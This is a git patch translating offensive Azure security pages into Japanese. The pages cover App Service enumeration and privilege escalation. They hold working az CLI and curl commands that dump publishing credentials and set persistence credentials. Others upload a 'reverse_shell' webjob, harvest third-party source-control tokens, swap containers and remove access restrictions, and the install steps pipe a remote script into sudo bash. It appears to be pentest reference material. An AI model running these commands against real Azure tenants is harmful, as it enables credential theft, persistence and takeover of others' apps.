From a5b1b1539c1032e4d102aba4a7d70cdb68d0f0ef Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 19:25:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md --- .../azure-security/az-enumeration-tools.md | 46 ++-- .../az-app-services-privesc.md | 253 +++++++++++++++++- .../az-services/az-app-service.md | 210 ++++++++++----- 3 files changed, 410 insertions(+), 99 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 75dce59e2..37c71423e 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -5,27 +5,25 @@ ## LinuxにPowerShellをインストールする > [!TIP] -> LinuxではPowerShell Coreをインストールする必要があります: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # リポジトリを更新 -> sudo apt-get update -> sudo add-apt-repository universe -> -> # PowerShellをインストールして起動 -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +> LinuxではPowerShell Coreをインストールする必要があります: +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## MacOSにPowerShellをインストールする [**ドキュメント**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)からの指示: @@ -34,7 +32,7 @@ ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` -2. PowerShellの最新の安定版をインストールします: +2. 最新の安定版 PowerShell をインストールします: ```sh brew install powershell/tap/powershell ``` @@ -99,7 +97,7 @@ Azure PowerShellは、PowerShellコマンドラインから直接Azureリソー Azure PowerShell AZモジュールのコマンドは、次のように構成されています:`-Az ` -#### Debug | MitM Az PowerShell +#### デバッグ | MitM Az PowerShell パラメータ**`-Debug`**を使用すると、ツールが送信しているすべてのリクエストを見ることができます: ```bash @@ -109,11 +107,11 @@ Get-AzResourceGroup -Debug ### Microsoft Graph PowerShell -Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部アイデンティティ、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。 +Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIにアクセスできるクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、そして高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新されます。 [**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。 -Microsoft Graph PowerShellのコマンドは次のように構成されています:`-Mg ` +Microsoft Graph PowerShellのコマンドは、次のように構成されています:`-Mg ` #### Microsoft Graph PowerShellのデバッグ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 53279ed54..e08a97537 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ Azure App Servicesに関する詳細情報は、以下を確認してくださ ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -これらの権限により、ウェブアプリ内で**SSHシェル**を取得するために以下のコマンドを呼び出すことができます。 +これらの権限により、ウェブアプリ内で**SSHシェル**を取得できます。また、アプリケーションを**デバッグ**することも可能です。 -- 直接オプション: +- **単一コマンドでSSH**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- トンネルを作成し、次にSSHに接続します: +- **トンネルを作成し、次にSSHに接続する**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **アプリケーションのデバッグ**: +1. VScodeにAzure拡張機能をインストールします。 +2. Azureアカウントで拡張機能にログインします。 +3. サブスクリプション内のすべてのAppサービスをリストします。 +4. デバッグしたいAppサービスを選択し、右クリックして「デバッグの開始」を選択します。 +5. アプリにデバッグが有効になっていない場合、拡張機能はそれを有効にしようとしますが、そのためにはあなたのアカウントに`Microsoft.Web/sites/config/write`の権限が必要です。 + +### SCM資格情報の取得と基本認証の有効化 + +SCM資格情報を取得するには、次の**コマンドと権限**を使用できます: + +- 権限**`Microsoft.Web/sites/publishxml/action`**は、次の呼び出しを許可します: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +**ユーザー名は常に同じ**であることに注意してください(FTPではアプリの名前が最初に追加されます)が、**パスワードはすべて同じ**です。 + +さらに、**SCM URLは`.scm.azurewebsites.net`です**。 + +- 権限**`Microsoft.Web/sites/config/list/action`**は、呼び出すことを許可します: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +**資格情報は前のコマンドと同じ**であることに注意してください。 + +- 別のオプションは、**自分の資格情報を設定**してそれを使用することです: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +次に、これらの資格情報を使用して**SCMおよびFTPプラットフォームにアクセス**できます。これは持続性を維持するための優れた方法でもあります。 + +**WebからSCMプラットフォームにアクセスするには、`/BasicAuth`にアクセスする必要があります**。 + +> [!WARNING] +> すべてのユーザーは前のコマンドを呼び出すことで自分の資格情報を設定できますが、ユーザーがSCMまたはFTPにアクセスするための十分な権限を持っていない場合、資格情報は機能しません。 + +- これらの資格情報が**REDACTED**と表示されている場合、それは**SCM基本認証オプションを有効にする必要がある**ためで、そのためには2番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です。 +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### SCM資格情報を使用してコードを公開する + +有効なSCM資格情報があれば、**コードを公開**することが可能です。これは次のコマンドを使用して行うことができます。 + +このPythonの例では、https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart からリポジトリをダウンロードし、任意の**変更**を加えた後、**`zip -r app.zip .`を実行して圧縮します**。 + +その後、次のコマンドで**コードを公開**できます: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | SCM credentials + +言及されたAzureの権限は、SCM資格情報を使用しても実行できるいくつかの興味深いアクションを実行することを許可します: + +- **Webjobs** ログを読む: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- **Webjobs**のソースコードを読む: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- **継続的なWebjob**を作成する: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +この権限は、データベースの資格情報などの機密情報を含む可能性があるAppサービスの**接続文字列**と**アプリ設定**を一覧表示することを許可します。 +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +これらの権限は、**マネージドアイデンティティ**をAppサービスに割り当てることを可能にします。したがって、Appサービスが以前に侵害されていた場合、攻撃者は新しいマネージドアイデンティティをAppサービスに割り当て、**権限を昇格**させることができます。 +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### 設定されたサードパーティの資格情報を読み取る + +次のコマンドを実行することで、現在のアカウントに設定された**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーにGithubの資格情報が設定されている場合、別のユーザーからトークンにアクセスすることはできません。 +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。 + +ここにトークンを確認するためのいくつかのコマンド例があります: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### アプリコードのソースからの更新 + +- 設定されたソースがGithub、BitBucket、またはAzureリポジトリのようなサードパーティプロバイダーである場合、リポジトリ内のソースコードを侵害することでアプリサービスの**コードを更新**できます。 +- アプリが**リモートgitリポジトリ**(ユーザー名とパスワードを使用)を使用して構成されている場合、次のコマンドを使用して**URLと基本認証情報**を取得し、変更をクローンおよびプッシュすることが可能です: +- 権限**`Microsoft.Web/sites/sourcecontrols/read`**を使用:`az webapp deployment source show --name --resource-group ` +- 権限**`Microsoft.Web/sites/config/list/action`**を使用: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- アプリが**ローカルgitリポジトリ**を使用するように構成されている場合、リポジトリを**クローン**し、変更を**プッシュ**することが可能です: +- 権限**`Microsoft.Web/sites/sourcecontrols/read`**を使用:`az webapp deployment source show --name --resource-group `を使用してgitリポジトリのURLを取得できますが、アプリのSCM URLと同じで、パスは`/.git`になります(例:`https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)。 +- SCM資格情報を取得するには、次の権限が必要です: +- **`Microsoft.Web/sites/publishxml/action`**:次に、`az webapp deployment list-publishing-profiles --resource-group -n `を実行します。 +- **`Microsoft.Web/sites/config/list/action`**:次に、`az webapp deployment list-publishing-credentials --name --resource-group `を実行します。 + +> [!WARNING] +> 権限`Microsoft.Web/sites/config/list/action`とSCM資格情報を持っている場合、前のセクションで述べたように、サードパーティプロバイダーを使用するように構成されていても、ウェブアプリにデプロイすることは常に可能です。 + +> [!WARNING] +> 以下の権限を持っている場合、ウェブアプリが異なる構成であっても**任意のコンテナを実行することが可能**です。 + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +これは、ウェブアプリによって使用される**コンテナを変更する**ことを許可する権限のセットです。攻撃者はこれを悪用して、ウェブアプリが悪意のあるコンテナを実行するようにすることができます。 +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 70c876617..06ce2d51b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,47 +2,97 @@ {{#include ../../../banners/hacktricks-training.md}} -## App Service 基本情報 +## App Service Basic Information -Azure App Services は、開発者が **ウェブアプリケーション、モバイルアプリのバックエンド、および API をシームレスに構築、展開、スケール** できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまな Azure ツールやサービスと統合されています。 +Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、デプロイ、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。 -各アプリはサンドボックス内で実行されますが、隔離は App Service プランに依存します。 +各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します。 -- 無料および共有プランのアプリは共有 VM で実行されます。 -- スタンダードおよびプレミアムプランのアプリは専用 VM で実行されます。 +- 無料および共有プランのアプリは共有VM上で実行されます。 +- スタンダードおよびプレミアムプランのアプリは専用VM上で実行されます。 > [!WARNING] -> これらの隔離は **他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を **防ぐものではない** ことに注意してください。また、**管理アイデンティティ** が使用されている場合、**特権を昇格させることができる**可能性があります。 +> これらの隔離は**他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではない**ことに注意してください。また、**管理アイデンティティ**が使用されている場合、それに**権限を昇格させる**ことができる可能性があります。 + +アプリにはいくつかの興味深い設定があります: + +- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ状態の後に停止し、リクエストが受信されると再起動します。 +- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止するため、これは重要です。 +- **SSH**: 有効にすると、十分な権限を持つユーザーがSSHを使用してアプリに接続できます。 +- **デバッグ**: 有効にすると、十分な権限を持つユーザーがアプリをデバッグできます。ただし、これは48時間ごとに自動的に無効になります。 +- **Web App + Database**: ウェブコンソールを使用してデータベースを持つアプリを作成できます。この場合、使用するデータベース(SQLAzure、PostgreSQL、MySQL、MongoDB)を選択でき、Azure Cache for Redisを作成することもできます。 +- データベースとRedisの資格情報を含むURLは、**appsettings**に保存されます。 +- **コンテナ**: コンテナのURLとアクセスするための資格情報を指定することで、App Serviceにコンテナをデプロイできます。 + +## Basic Authentication + +ウェブアプリ(通常はAzure関数)を作成する際に、Basic Authenticationを有効にするかどうかを指定できます。これは基本的に**SCMとFTP**をアプリケーションに対して有効にするため、これらの技術を使用してアプリケーションをデプロイできるようになります。\ +さらに、それらに接続するために、Azureは**ユーザー名、パスワード、URLを取得するためのAPI**を提供します。 + +`https:///BasicAuth`を使用してウェブブラウザからSCMに接続し、そこにあるすべてのファイルとデプロイメントを確認できます。 + +### Kudu + +Kuduは、**Azure App ServiceおよびFunction Appsのためのデプロイメントエンジンおよび管理プラットフォーム**であり、Gitベースのデプロイメント、リモートデバッグ、およびウェブアプリケーションのファイル管理機能を提供します。ウェブアプリのSCM URLを通じてアクセスできます。 + +App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。 + +Kuduで見つけることができるいくつかの興味深いエンドポイントは次のとおりです: +- `/DebugConsole`: Kuduが実行されている環境でコマンドを実行できるコンソール。 +- この環境は**メタデータサービスにアクセスできない**ことに注意してください。 +- `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアント。 +- この環境は**メタデータサービスにアクセスできる**ため、割り当てられた管理アイデンティティからトークンを取得できます。 +- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。 +- `/wwwroot/`: ウェブアプリのルートディレクトリ。ここからすべてのファイルをダウンロードできます。 + +## Sources + +App Servicesは、デフォルトでコードをzipファイルとしてアップロードすることを許可しますが、サードパーティサービスに接続してそこからコードを取得することも可能です。 + +- 現在サポートされているサードパーティソースは**Github**と**Bitbucket**です。 +- 認証トークンを取得するには、`az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`を実行します。 +- Azureはデフォルトで、コードが更新されるたびにApp Serviceにコードをデプロイするための**Github Action**を設定します。 +- そこからコードを取得するために、**リモートgitリポジトリ**(ユーザー名とパスワード)を指定することも可能です。 +- リモートリポジトリの資格情報を取得するには、`az webapp deployment source show --name --resource-group `または`az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`を実行します。 +- **Azure Repository**を使用することも可能です。 +- **ローカルgitリポジトリ**を構成することも可能です。 +- `az webapp deployment source show --name --resource-group `を実行することでgitリポジトリのURLを取得でき、これはアプリのSCM URLになります。 +- クローンするには、`az webapp deployment list-publishing-profiles --resource-group -n `で取得できるSCM資格情報が必要です。 + +## Webjobs + +Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約型の操作を簡単に処理できます。 +Webジョブには2種類あります: +- **Continuous**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。 +- **Triggered**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。 + +Webジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格**させるために使用できるため、攻撃者の視点から非常に興味深いです。 + +さらに、Webジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。 + +### Slots + +Azure App Service Slotsは、同じApp Serviceに**アプリケーションの異なるバージョンをデプロイ**するために使用されます。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。 + +さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これは**A/Bテスト**やバックドア目的に便利です。 ### Azure Function Apps -基本的に **Azure Function アプリは Azure App Service のサブセット** であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cli で `az webapp list` を実行すると、**Function アプリもここにリストされているのが見える**でしょう。 +基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもここにリストされているのを見ることができます**。 -実際、App Services が使用する **セキュリティ関連の機能**(az cli の `webapp`)は、**Function アプリでも使用されています**。 +実際、App Servicesが使用する**セキュリティ関連の機能**(az cliの`webapp`)は、**Function Appsでも使用されています**。 -## 基本認証 - -ウェブアプリ(通常は Azure Function)を作成する際に、基本認証を有効にするかどうかを指定することができます。これは基本的に **アプリケーションの SCM と FTP を有効にする** ため、これらの技術を使用してアプリケーションを展開できるようになります。\ -さらに、それらに接続するために、Azure は **ユーザー名、パスワード、および SCM と FTP サーバーに接続するための URL を取得する API** を提供しています。 - -- 認証: az webapp auth show --name lol --resource-group lol_group - -SSH - -常時オン - -デバッグ - -### 列挙 +### Enumeration {{#tabs }} {{#tab name="az" }} ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +101,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +131,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +230,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Webアプリを生成する例 + +### ローカルからのPython + +このチュートリアルは、[https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli)のものに基づいています。 +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 + +> [!TIP] +> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 + +**攻撃者はこのファイルをダウンロードし、変更して再アップロードすることで、ウェブアプリで任意のコードを実行することができます。** + +### GithubからのPython + +このチュートリアルは前のものに基づいていますが、Githubリポジトリを使用しています。 + +1. Githubアカウントでリポジトリmsdocs-python-flask-webapp-quickstartをフォークします。 +2. Azureで新しいPython Web Appを作成します。 +3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。 + +前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 + +> [!TIP] +> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 + + ## 参考文献 - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)